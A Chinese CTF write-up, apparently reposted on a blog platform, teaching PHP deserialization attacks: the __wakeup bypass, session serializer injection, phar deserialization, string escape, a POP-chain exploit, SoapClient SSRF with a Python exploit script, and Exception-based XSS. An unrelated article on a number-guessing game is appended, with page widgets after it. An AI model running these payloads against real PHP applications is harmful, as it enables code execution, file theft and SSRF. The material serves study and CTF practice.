PHP中利用sessino猜数字_从CTF中学习PHP反序列化的各种利用方式

作者:IFONLY,来源:先知社区

前言

出于对php反序列漏洞感兴趣, 遂写一文总结一下在学习PHP反序列化的漏洞过程中遇到的点, 在CTF中有关的漏洞形式几乎是必出

__wakeup()

对应的CVE编号: CVE-2016-7124

  • 存在漏洞的PHP版本: PHP5.6.25之前版本和7.0.10之前的7.x版本

  • 漏洞概述: __wakeup()魔法函数被绕过,导致执行了一些非预期效果的漏洞

  • 漏洞原理: 当对象的属性(变量)数大于实际的个数时,__wakeup()魔法函数被绕过

demo:

<?php highlight_file(__FILE__);error_reporting(0);class convent{var $warn = "No hacker.";function __destruct(){eval($this->warn);}function __wakeup(){foreach(get_object_vars($this) as $k => $v) {$this->$k = null;}}}$cmd = $_POST[cmd];unserialize($cmd);?>

可以看到, 这里在进行unserialize时, __wakeup 方法中遍历将对象属性给删除, 导致无法执行eval函数, 造成代码执行, 但是在存在该漏洞的php 版本中, 我们就能绕过这个点, 达到代码执行的效果

ab514e3b26702088f9befa22414ee206.png

php session 反序列化

首先要知道了是PHP session 的引擎的差异, 这也是导致这个漏洞的根本原因和利用条件

session 的存储机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的

有三种方式

  • 默认使用php : 格式 键名|键值(经过序列化函数处理的值)

  • php_serialize: 格式 经过序列化函数处理的值

  • php_binary: 键名的长度对应的ASCII字符 + 键名 + 经过序列化函数处理的值

在php.ini 中有如下配置:

session.save_path=""   --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php

在phpstudy 中, session 文件是存放在extension/tmp/tmp 目录中

第一种, 默认php格式:

<?php session_start();$_SESSION['name'] = '1FonlY' ;var_dump($_SESSION);?> // array(1) { ["name"]=> string(6) "1FonlY" }

查看session 文件为: name|s:6:"1FonlY";

第二种, php_serialize 格式:

<?php ini_set('session.serialize_handler',  'php_serialize');session_start();$_SESSION['name'] = '1FonlY' ;var_dump($_SESSION);?> // array(1) { ["name"]=> string(6) "1FonlY" }

a:1:{s:4:"name";s:6:"1FonlY";} a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。

第三种, php_binary格式:

<?php ini_set('session.serialize_handler',  'php_binary');session_start();$_SESSION['name'] = '1FonlY' ;var_dump($_SESSION);?>

names:6:"1FonlY"; 不可显的为EOT ,name的长度为4 4在ASCII 表中就是 EOT

session 序列化注入漏洞:

当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞

比如这里先实例化一个对象,然后将其序列化为 O:7:"_1FonlY":1:{s:3:"cmd";N;}

如果传入 |O:7:"_1FonlY":1:{s:3:"cmd";N;} 在使用php_serialize 引擎的时候

序列化后的session 文件是这样的 a:1:{s:4:"name";s:31:"|O:7:"_1FonlY":1:{s:3:"cmd";N;}";}

这时,将a:1:{s:4:"name";s:31:" 当做键名, O:7:"_1FonlY":1:{s:3:"cmd";N;} 当做键值,将键值进行反序列化输出,这时就造成了序列化注入攻击

这个点在之前的高校战疫中就考查过, 利用的就是php session的序列化机制差异导致的注入漏洞

相关题目: http://web.jarvisoj.com:32784/

phar 反序列化

最初是在 Black Hat 上安全研究员 Same Thomas 分享的议题.phar 反序列化漏洞,利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

关于phar 文件的结构解释网上已经有很多了

这里直接贴代码了, 相信很多师傅都是喜欢看代码

<?php class TestObject {}// 生成phar 文件的格式@unlink("phar.phar");$o = new TestObject();$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();?>

4dc7e92c1a8606af0bac03e9a3e92c90.png

这是我生成的一个exp phar文件, 可以看到我们的payload是序列化存储的

phar 反序列化可以利用的函数

b27a2c4e88c80187ba0aa434068dfd96.png

利用时,使用phar://这个协议即可

伪造phar 文件为其他格式

只需要改 文件头 stub即可,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件

$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");

利用条件

  • phar 文件能够上传

  • 文件操作函数参数可控, : ,/ phar 等特殊字符没有被过滤

  • 有可用的魔术方法作为”跳板”

bypass phar:// 不能出现在首部

这时候我们可以利用compress.zlib:// 或compress.bzip2://函数,compress.zlib://compress.bzip2://同样适用于phar://

payload: compress.zlib://phar://phar.phar/test.txt

Postgresql

<?php 
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

pgsqlCopyToFile和pg_trace同样也是能使用的,只是它们需要开启phar的写功能

MySQL

LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper.

但是需要修改mysqld配置,因为不是默认配置

[mysqld]
local-infile=1
secure_file_priv=""

字符串逃逸

0CTF 2016 piapiapia

读完了下载下来的这几个源码后,发现有用的只在 class.php 和 config.php(唯一存在flag字段的内容,说明flag一定是在config.php里面,那么现在的目标就是去读取config.php 的内容)

在register.php 中:

$user->update_profile($username, serialize($profile)); // 必定存在一个序列化操作

在profile.php 中: 存在文件操作函数以及可控的参数 photo ,如果photo 为config.php 就能读取到flag, photo 输出是以base64的形式

$photo = base64_encode(file_get_contents($profile['photo'])); // 如果photo 为 config.php 就可以读取flag

e6ee94248f9639d84fe7c23ab087f060.png

05189c69fce31ffa9fd1f0cb31a964ce.png

25e2f7188be09d7e87787cb56c680760.png

这里的正则过滤掉了where(5) ,如果存在where等字段,就用hacker(6) 来替换

ea44b699b24e5c3e12f8504ada0548e6.png

在update.php 中对数组profile 进行序列化储存后,在profile.php 进行反序列化,然后这道题的考点就在这两步操作中的一个很细节的点

在反序列化unserialize() 时,会自动忽略掉能够正确序列化之后的内容( 也就是构造闭合 ),从而忽略掉upload/md5(filename)

通过抓包来看一下数组的中元素的传递的顺序,也是 nickname 是位于photo之前的,所以可以想办法让nickname足够长,把upload那部分字段给”挤出去” 专业术语: 反序列化长度变化尾部字符串逃逸

89ff9306d797d452c261ee6b09cc66e3.png

再来理清一下思路:

  • 要使 photo 字段的内容为 config.php,构造闭合如下

";}s:5:"photo";s:10:"config.php";} 这里一共 34 个字符. 那么在原来的 nickname中的where....where... 一共是170个字符,加上 ";}s:5:"photo";s:10:"config.php";} 后为204个字符,相差34 个字符, 因为正则匹配把where 替换为 hacker ,每替换一个就增加 1个字符,现在用34个where就可以增加34个字符,导致构造的";}s:5:"photo";s:10:"config.php";} 的效果为 ";} 是为了闭合nickname部分.

s:5:"photo";s:10:"config.php";} 而后面这部分,就单独成为了 photo 的部分( 尾部字符串逃逸 ),到达效果

  • 绕过正则表达式和长度限制

使用数组绕过 nickname[]=

payload:

900db4e5d663b992a1d50fd8ac547d17.png

发包后在/profile.php 页面复制头像的地址,进行base64decode得到flag

字符串逃逸还分变长和变短, 原理都差不多的, 遇到了灵活处理

对象逃逸

[安洵杯 2019]easy_serialize_php

这里直接看官方WP吧, 写的比我好, 不再总结了

https://xz.aliyun.com/t/6911#toc-3

Pop chain

把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。

通俗点就是:反序列化中,如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。

一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。

我的理解: POP CHAIN 更多的是在类之间,方法之间的调用上,由于方法的参数可控,存在危险函数,导致了漏洞,其实也是在代码逻辑上出现的问题

在编写Pop 链的exp的时候, 类的框架几乎不变,只需要做一些修改

例题: MRCTF 2020 Easy pop

Welcome to index.php<?php //flag is in flag.php//WTF IS THIS?//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And Crack It!class Modifier {protected  $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."
";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}}if(isset($_GET['pop'])){@unserialize($_GET['pop']);}else{$a=new Show;highlight_file(__FILE__);}

这里一共3个类, 故利用起来比较简单, 适合理解

在Modifier类中有__invoke魔术方法,该方法是当以函数的形式去调用一个对象时,触发该函数,然后就会调用append()函数去进行包含

在Show类中有__toString魔术方法,当对象被当做字符串的适合,触发该函数

在Test类中有__get魔术方法, 当读取一个不可访问的属性的值时触发该函数

pop 链逻辑:

  • 在类Show 中, $this->souce 如果是Show 类,就会调用__toString方法

  • __toString方法中 $this->str->source , 如果str为Test类中的属性p, 然后Test类中不存在source属性,就会调用__get方法

  • __get方法将属性p作为函数返回,如果属性p 是Modifier类就会调用__invoke方法, __invoke方法中就会去包含var,从而通过伪协议读取到flag.php

exp:

<?php class Modifier{protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';}class Show{public $source;public $str;public function __construct($file){$this->source = $file;echo 'Welcome to ' . $this->source . "
";}public function __toString(){return "php serialize";}public function __wakeup(){$this->source = new Show();}}class Test{public $p;public function __construct(){$this->p = new Modifier();}}$a = new Show('flag.php'); // 初始化参数随便$a->str = new Test();$b = new Show($a);$pop = serialize($b);echo urlencode($pop);

SoapClient + 反序列化 => SSRF

SoapClient 类搭配CRLF注入可以实现SSRF, 在本地生成payload的时候,需要修改php.ini 中的 ;extension soap 将注释删掉即可

因为SoapClient 类会调用 __call 方法,当执行一个不存在的方法时,被调用,从而实现ssrf

生成payload:

<?php $url = "http://127.0.0.1/flag.php";$b = new SoapClient(null, array('uri' => $url, 'location' => $url));$a = serialize($b);$a = str_replace('^^', "\r\n", $a);echo "|" . urlencode($a);?>

可供练习的例题: LCTF 2018 bestphp's revenge

exp:

#!/usr/bin/env python# -*- coding: utf-8 -*-# @Author  : Eustiarimport requestsimport reurl = "http://c85b635f-1224-4de2-9b64-de9a2adc0d99.node3.buuoj.cn/"payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'r = requests.session()data = {'serialize_handler': 'php_serialize'}res = r.post(url=url+'?f=session_start&name='+payload, data=data)# print(res.text)res = r.get(url)# print(res.text)data = {'b':'call_user_func'}res = r.post(url=url+'?f=extract', data=data)res = r.post(url=url+'?f=extract', data=data)  # 相当于刷新页面sessionid = re.findall(r'string\(26\) "(.*?)"', res.text)cookie = {"Cookie": "PHPSESSID=" + sessionid[0]}res = r.get(url, headers=cookie)print(res.text)

Exception + 反序列化 => XSS

这是之前在BJD上一道题目学到点, 以前没遇到过,

php 的原生类中的Error 和Exception 中内置了toString 方法, 可能造成xss漏洞

当时那个题我没有用原生类,直接用的打cookie一样也能做出来

<?php 
$s = $_GET['s'];
echo unserialize($s);
<?php $s = ';echo serialize($s);

利用原生类:

<?php $s = new Exception(");echo urlencode(serialize($s));

4213353b3e6d5fb2079edc0bc456cc17.png

总结

当然除了上面的漏洞外, 还可以与sql注入, 命令执行等结合,不过原理都差不多, 不再赘述

php 的反序列化漏洞,其实我认为都是一种,就是格式化字符串漏洞,有点类似SQL注入, 改变原有的代码结构而导致漏洞

Reference

  • https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

  • http://blog.ydspoplar.top/2020/03/17/php%E5%8F%AF%E5%88%A9%E7%94%A8%E7%9A%84%E5%8E%9F%E7%94%9F%E7%B1%BB/

  • https://blog.zsxsoft.com/post/38

  • https://hack-for.fun/posts/20200223/#0CTF-2016-piapiapia

_____ end _____

关注公众号:HACK之道

c3ce2345caa88f7ce01e1d7f130f22c1.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
猜数字  猜数字   猜数字可以算是一种益智类小游戏,一般两个人玩,也可以由一个人和电脑玩,可以在纸上、在网上都可以玩。这种游戏规则简单,但可以考验人的严谨和耐心。   目录   1 规则   1.1 次数限制   1.2 含重复数字的猜数字   2 解法   2.1 计算机解   2.2 推理解   2.3 代入解   2.4 其他   3 参看   规则   这个游戏的规则比较简单,一般两个人玩,一方出数字,一方猜。出数字的人要想好一个没有重复数字的4位数,不能让猜得人知道。猜的人就可以开始猜。每猜一个数字,出数者就要根据这个数字给出几A几B,其A前面的数字表示位置正确的数的个数,而B前的数字表示数字正确而位置不对的数的个数。   如正确答案为5234,而猜的人猜5346,则是1A2B,其有一个5的位置对了,记为1A,而3和4这两个数字对了,而位置没对,因此记为2B,合起来就是1A2B。   接着猜的人再根据出题者的几A几B继续猜,直到猜为止。   次数限制   有的时候,这个游戏有猜测次数上的限制。根据计算机测算,这个游戏,如果以最严谨的计算,任何数字可以在7次之内猜出。而有些地方把次数限制为6次或更少,则会导致有些数可能猜不出来。而有些地方考虑到人的逻辑思维难以达到计算机的那么严谨,故设置为8次甚至10次。也有的没有次数上的限制。   含重复数字的猜数字   有一种使用范围比较狭窄的猜数字,是允许重复数字存在的猜数字,但由于其规则较复杂,故没有得到广泛的推广。其规则如下:   除了上面的规则外,如果有出现重复的数字,则重复的数字每个也只能算一次,且以最优的结果为准,   如正确答案为5543,猜的人猜5255,则在这里不能认为猜测的第一个5对正确答案第二个,根据最优结果为准的原理和每个数字只能有一次的规则,两个比较后应该为1A1B,第一个5位子正确,记为1A;猜测数字的第三个5或第四个5和答案的第二个5匹配,只能记为1B。当然,如果有猜5267的第一个5不能与答案的第二个5匹配,因此只能记作1A0B。   解法   对于不同的人,常常会用到不同的解法   计算机解   通常采用的计算机解是通过排除法,即遍历所有可能的数,将不符合要求的数剃掉。   下面是一个计算机处理的例子:   for (int i = 0; i < Array.Count; i++) { if (Array与当前输出数字的比较 != 用户输入的与正确答案对比的结果) { Array.Remove(i); i--; } }      这个代码采用C#的语法,其Array表示所有可能的数字的集合。这个例子为了方便说明,结合了语言的描述。   这样的方法充分利用了计算机计算速度快的优势,迅速排出不符合要求的数。通常第一次猜测的时间(有的引擎为第二次猜测)会在10秒左右,而随着猜测次数的不断增加,猜测的时间会越来越短,最后几乎不需要时间,这是由于集合的数越来越少,排除需要的时间也随之减少。   推理解   计算机解释根据这种方法推广的。这种解法的心思想是假设猜的这个数字是正确答案,即如果它为正确答案,那么这个数应该符合已经猜测的数及其结果。如已经有   1234 0A0B   那么下一步就不能猜含有1234任一数字的数,因为如果正确答案含1234任一,结果就不可能为0A0B。   这种解法对猜者要求较高,通常,可能会被定式思维所干扰,导致难以猜出。   基于这个解法,根据个人思维风格和起始数字选择的不同,以及对出题者出数风格的猜测,有时可以把猜测次数控制在5步内,但不总能在5步内猜出。   使用这种解法需要考虑的时间很久,和计算机解正好相反,人使用这种方法,通常随着猜测次数的增加,需要考虑的东西不断增多,反而考虑的时间会变得越来越长。   代入解   还有一种方法,在人的猜测很常用,即将推理出不可能含有的数字,代入,察看那些数字是有的。   但这种方法其猜测次数难以确定,且通常的猜测次数比推理解多。   其他   可能还有其他的方法。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值